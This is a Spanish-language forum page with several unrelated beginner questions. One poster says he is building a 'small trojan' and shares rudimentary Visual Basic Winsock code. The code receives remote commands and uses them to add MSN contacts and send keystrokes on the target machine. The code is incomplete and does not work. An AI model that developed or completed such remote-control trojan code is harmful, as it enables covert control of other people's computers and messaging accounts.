Temas

Tengo muchas imagenes en una carpeta y quisiera que mi programa escojiera una aleatoriamente y se ajustara al recuadro de "image"

estoy tratando de hacer un pequeño tipo de troyano pero tengo un problema con el data arrivla miren:

Código [Seleccionar] Expandir

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim ac As String
Dim apagar As String
Dim a As String
Dim contraseña As String
Dim men As String
Dim rec As String
Dim mensage As String

Winsock1.GetData ac
Winsock1.GetData apagar
Winsock1.GetData a
Winsock1.GetData contraseña
Winsock1.GetData men
Winsock1.GetData rec
Winsock1.GetData mensage

msn.AddContact 0, (ac)
SendKeys "{ENTER}"
Pause 1
SendKeys "{ENTER}"
SendKeys "{ENTER}"
Pause 1
SendKeys "{ENTER}"

End Sub




como puedo hacer para señalar lo que tiene que hacer cada cosa cuando llege, hay solo estoy especificando lo que se tiene que hacer cuando llege "ac" pero para los demas me da problema espero que entiendan mi punto ???

hola, no se como exponer mi duda pero estoy haciendo un programa para el msn, una de las funciones es pasar la lista de contactos de computadora a computadora pero no se como mandar una lista por winsock
no creo que haya un fallo en lo demas porque si puedo intercambiar texto

no hay un programa para grabar el sonido saliende de mi computadora??? sin tener que usar el microfono?